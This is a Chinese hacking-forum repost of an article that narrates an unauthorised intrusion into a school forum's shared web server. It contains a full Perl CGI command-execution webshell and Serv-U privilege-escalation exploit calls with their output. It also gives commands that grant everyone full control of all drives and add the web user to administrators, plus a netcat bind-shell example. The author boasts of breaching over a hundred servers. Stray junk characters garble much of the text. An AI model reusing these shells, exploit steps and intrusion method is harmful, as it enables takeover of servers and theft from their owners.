找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1972|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ' i" \3 n4 K" x9 y8 E3 M
本文作者:angel; C+ f( N3 {  @" j1 T
文章性质:原创
. A2 {) G0 Y6 ?! A  s# e- K发布日期:2004-11-09 , E7 O! L4 B- c5 Z( t
注意:
  k- N0 m5 M/ w3 G! S本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。1 c4 E) ?0 |6 s" F9 `8 a
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。, m# o& |% O; a' p
6 h9 K8 E( R) U, ~. W
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ' b" F, J/ I; N6 c/ n

+ i3 i' e9 E; ^0 x; f  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。   }7 L8 l% S: P, z2 |. o

- A) a# z, K+ ~/ L; q  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 " z7 k1 z# [* k5 U7 h

4 e) f4 B( t7 a  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ' h7 T2 q$ B& z/ z  @

6 J6 G* s0 }8 [  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 " U7 U+ \( C. m- t7 H7 H% \) @  x9 f

% ^' N$ w; W  |6 q  r; F7 b  没有目的的跳转目录着……
& U! t$ x3 M- H% Z* r3 {1 q* `" A5 u% x* z4 ^
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ( l! n1 J9 z# Y5 S- x

+ D7 |& `: K8 L% s+ o  结束了吗?不,我试着 FTP 一下:
" B- e4 o. R( i
& k8 t: _7 |; p9 xMicrosoft Windows 2000 [Version 5.00.2195]: T" V% [$ ^% _  {( ^6 w, m3 O; _
(C) 版权所有 1985-2000 Microsoft Corp.
# Y" s% y8 M: c2 a; d( ?' A
  `5 ~9 J* ?; @2 w* ^C:\Documents and Settings\Administrator>ftp www.school.com
1 c2 A+ n- G( \, H: [Connected to www. school.com. ' ?0 R( c8 q$ r% s7 }
220 Welcome to FTP Server...
4 g; K6 x1 K1 E6 ?( sUser (www.bjtrq.com:(none)):   o7 f0 S, C5 Z6 f/ E  a  W
331 User name okay, need password.
  w& q5 K$ o$ E7 Y+ @, }  ~Password:
" I6 z9 G  M) W. h530 Not logged in.
' `+ ]0 n/ L$ @  z# T/ ~6 ^Login failed. 6 W4 ]( D, E8 T6 R" W
ftp> bye   @& O4 ?  D1 M) T
221 Goodbye! " F% l- k+ B$ D9 r- a1 h

! ]0 Y$ S# M5 F' @) z8 k8 ?7 d$ |: @0 M- u/ J+ U8 M
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 8 U8 v  _1 {) ^* n" D. g; W# `
) z. x. n. A7 m9 g* X
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 0 [+ G( k1 z0 c8 x% Q( s& }# i3 `

9 j, N' |7 E$ a: g3 sApplication Data) x/ ^1 ?) i8 j0 x6 j
Documents
. h3 E* F% _2 s* A) A' ~+ t$ \DRM* i( R: A) u+ A) [5 D" F; a
Favorites
# C% _, \% D7 K7 m& @* D& HTemplates
9 _! A2 j/ {. ]7 S) ?1 q「开始」菜单
* V5 ~& H+ o& ?7 p" P桌面
% l2 Y+ p5 [: }' ?, h 4 Z6 @: h( n6 Q; g- V/ u

6 a- j; g1 K5 v$ \9 S  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
1 w% r" a- d8 z6 {
% n* ^4 X7 ]6 ^. u( t) fActiveState ActivePerl 5.83 b2 `( c9 }+ g. B& D, @7 @! s
Administrative Tools+ [4 E" M+ `5 S- d, w" U4 m
Deerfield.com* f+ D3 l5 ]" O; T
DTemp
8 `) B, K/ Q8 y! x" x# e6 K! wIPSentry
7 b1 `8 @& p* R9 I& R. K1 o% uMBM 5
8 {! c, `0 b/ s/ nNetMeter
$ {0 ?2 S( m3 n4 N/ |$ YNetwork ICE  ]) F# P& b: @6 Z; p7 U, r
Persits Software AspEmail) ?7 s: _. ]! ], }
Persits Software AspJpeg5 d9 q* ?& z' X1 W; ^2 ~* e  t
Serv-U FTP Server
0 B- U/ Q1 [+ L$ g: m9 b/ O9 ?Symantec Client Security* \# K& Z$ f$ t( x
Windows 优化大师
) A5 w/ T+ [1 {6 L, XWinRAR' `# X7 V0 H) b6 X3 q2 }5 u
启动. d, z4 _. k' U- o4 q+ O
管理工具# A5 N6 Q" H" Y% I: e/ k/ p, W
附件
" a4 _9 k. H' f7 w: l ( H2 B& Q  K. b# u5 T+ \
6 r1 A1 a# R. T+ a9 X- D
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 . X, V6 M' M. R  V6 j

& L8 r$ s6 o' L- v6 P  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 0 U- ?3 _9 V) N/ H9 [: s7 W& D. c

) Y( X" m% p. M) H" M: A( W4 EUser281=angel|1|0 ' I8 U6 O6 y7 h5 D; S0 d( y5 B

* J1 {6 k! u7 k
, F  l9 Y- e3 K, H4 p1 T8 L% S  然后加上
. N, N( [$ P* g. s( F3 d) ]# M' _* |9 i
[USER=angel|1]
9 P, n  M6 Z+ D/ Y  VPassword=ng98F85379EA68DBF97BAADCA99B69B805
7 k! ~: H% w. p+ [1 n! C# XHomeDir=D:\websites+ p. w5 F7 |. u/ T0 H4 v/ O  U
RelPaths=1$ K8 A& }* Q/ @2 ]( [' k7 b
TimeOut=600; Q+ _* m9 _- P* ]% N8 z" ]# ~$ U
Maintenance=System$ e0 [' H2 X; J0 S8 [
Access1=D:\websites|RWAMELCDP1 v! Y! W3 x; A' t6 o; k+ k0 A
SKEYValues=
& G/ P+ ?# S: b
2 g9 y0 h3 b" C* C8 O7 @: K1 E2 |# ^- w: U' s4 }; S
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… , f  h% F# ~; V6 ^. Q0 T

9 y9 n* n/ j; H/ X/ H6 q  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 9 ?' N& y2 r5 a) Q
3 J8 z+ E, n& y& I$ J9 C
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 + Q5 d! P! ?: [( q3 c

$ `& f6 P5 O! d' x4 r  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
- z* X  {* ~" v* Q, j& M% f) A& G0 s
#!/usr/bin/perl) [- N1 L- M9 n7 {# h, z
binmode(STDOUT);8 ^/ g8 r# h  x* d% u
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
# e/ I; _% t  q2 o: x$_ = $ENV{QUERY_STRING};: U3 ^( f) B8 y+ d
s/%20/ /ig;
" c9 v6 G* T, W' ?7 g! Os/%2f/\//ig;" V, r5 R; ?( U' S& s/ H; Q/ j& A& z
$execthis = $_;
. C* x* R* T5 ^5 ~* u6 Ksyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
! Q, O: K4 T4 m. ]  _open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
; L! c+ @; N" d8 K0 D. vsystem($execthis);
' D3 h5 I  L; q/ r- vsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);6 g6 o8 H" o$ O8 I+ q: k7 X
close(STDERR);
- U: S4 Y; U# n  W  w9 M1 d" qclose(STDOUT);, Y* O) j+ r7 o
exit;
$ Q) D  l0 m! J   h  P# r1 m, V/ u# S7 Z; m
; m7 F# L/ r2 [$ g1 y/ t
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
/ Y4 ?& i; Q  @) _
5 r. o+ h0 j4 y' N) b  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 6 K; W, e! l- J2 |" i- e

5 J  w/ n: W" @& g4 Z" Ehttp://anyhost//cmd.pl?d:\user\bin\su.exe
" d% }" Y) v7 X2 Q, Z 7 o6 q6 \2 x) E) O3 l& U! U* H" J  e' J

/ i! M! G8 `6 n2 i  返回:
: ^+ h0 J4 L* z  h2 l6 Z" W! ^
- w0 \# B! B% l5 [( S: HServ-u >3.x Local Exploit by xiaolu
! Q6 |1 f# j4 }/ Q7 d, j# C8 w: v/ S4 ?/ P
USAGE: serv-u.exe "command" 7 y) `4 M  Z* X" k/ i! U* D
% B& c6 ]) Y$ x' q$ z
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" + \$ i  {( N) @

" ?+ ~" m: w. X: e" F- E2 X9 O* Y- G& J
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
: S5 A' D: B2 S; q: D8 _( W- f% p
% Y& z0 s- X$ k7 ?3 c1 Z0 T$ thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
  |, S6 t, O8 V9 W) Q6 z% c5 b! T) F0 B! q* C  P" J
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"   Y! x& o( j# p" o4 N

. e' B' F0 z" B! z/ shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
3 k3 X) E+ r! |5 q. [' q- ^6 r0 M! p# H* }. v3 |% T4 i: k
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" / l. [* g$ q- T0 v! H- C; S

6 g3 Z9 g6 t& y) Y  w* S& y3 h7 V: \/ W' h  _
  返回下面的信息,就表示成功了!!!
! c- h2 Q, h+ t1 S8 g: T% m; N- L( h+ A9 t6 k3 F  K: a& O5 q7 ~
Serv-u >3.x Local Exploit by xiaolu
% G6 k, L0 n3 g* K: H: \. f7 ~" M- B- ]) W0 V( K! w1 Q0 q  v
<220 Serv-U FTP Server v5.2 for WinSock ready... $ h) l( W( g# x; `
8 x) [9 \+ m$ r& ~+ f+ a  w
>USER LocalAdministrator . f, V! r; ?. b6 r( Q
( z. }4 E. u6 I- C) m+ v
<331 User name okay, need password.
" Y( K* S, h$ ]& `" n
  ?8 \7 V( i0 w/ Y/ P$ Z6 d5 v; |****************************************************** 0 h# M8 I) ]# j% @0 o' j/ ?8 _

9 _( G  E  F- q>PASS #l@$ak#.lk;0@P
9 [; ^/ A$ j" o3 P
3 H2 }9 e" \$ D' H! n" T8 q- B/ }; j<230 User logged in, proceed.
& t, W7 W7 V; e- c- P4 M5 [% y/ l) @
******************************************************
8 u' y) t) R2 u) g! P) S. |0 a
; |$ ~( T. z4 X' a>SITE MAINTENANCE $ Q4 D$ i2 w3 v8 h7 v4 @

& D( Y8 u3 w* ~# q3 s******************************************************
- Z+ A' ?0 Z  k" _9 T2 n% t3 q
) s, N# Y9 A3 b# h[+] Creating New Domain...
0 m- P- @, Y' a& e8 a
/ v# y* m9 M/ i: k/ v7 b<200-DomainID=2
' `4 h$ A- Y- a: e1 T/ Z7 n: h3 \- A0 B2 j- n2 @& T* b) b! r0 \, @
<220 Domain settings saved   k) r" F& i4 M0 b% \( a
* z, a) [$ B* j! }5 l
******************************************************
5 k9 T1 w' j  ]% f0 s4 h* V5 y% V. e
[+] Domain xl:2 Created
9 U8 i- N9 F8 B5 i5 l1 [) P
# O3 m. G2 H  x4 w! y( W+ K[+] Creating Evil User " K, s/ w; ]8 A: k  H
& P2 s6 z' k; E8 v5 z
<200-User=xl
$ X: C  t$ k$ ^, B. T) P
1 y+ {& N  ~" V: P, }+ N8 o200 User settings saved ! Q) `- b1 j1 L0 k; h6 U( Q4 l9 n1 J

" ^" U1 I, M$ m6 F% `- ?# d: v******************************************************
+ Z% e9 u# G: J! v
6 |1 S  V( C* [$ m0 `/ n[+] Now Exploiting...
( G4 m+ l! l2 O1 \6 n/ O$ e* @# x* C# V/ b" B' Z/ c5 T" B
>USER xl
* }' ?) A  o# o0 s! b
7 ^) p* j" M, a<331 User name okay, need password.
3 c. M$ C. U4 \+ e' B. S; B
# ~: @9 @! y4 ]% E/ {7 }****************************************************** 1 R& C, Y* F3 z
4 G  @/ e3 `5 N( v
>PASS 111111
" {2 U# f( c' j! v) m% O) K! ~
+ Q6 t3 W; \2 n# ^<230 User logged in, proceed.
5 P& Q4 H5 z, J( C" g5 _& k
- W. t, h  r. x8 k4 X3 p8 \0 E******************************************************
- c, T/ l0 Q8 v
8 y. s0 t/ \* f2 v. [  p6 g* B[+] Now Executing: cacls.exe c: /E /T /G everyone:F
" m# i! V2 l/ Y: Z- U
6 ]! _: ^+ N8 z! _<220 Domain deleted
* Z' R$ l+ ~: K4 n; W% B4 i; o* ^# C0 x  S: ^* v
******************************************************
" F- T+ \% }4 o: o
% L; C2 a# N! k# g  h* D& h/ u+ v- _4 g4 o! a# @" U5 E; X
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) l& x. t! N4 c% z3 R3 c$ u" u' u
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ) v5 X6 R! @: R3 d8 X7 J
- O8 q) B  _6 A. S
8 H$ G+ h  s+ q3 m1 k# D# X
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
4 _' J8 ]  Y  }3 T. p! M) W* e3 m& @1 N; K4 ~, f; E0 ]0 D4 d! o% c+ q5 J
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。- Y5 |# W* }5 b! I6 C  F
: T1 X/ E: P5 f+ j
  + z" }5 _( V  ?* b' L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表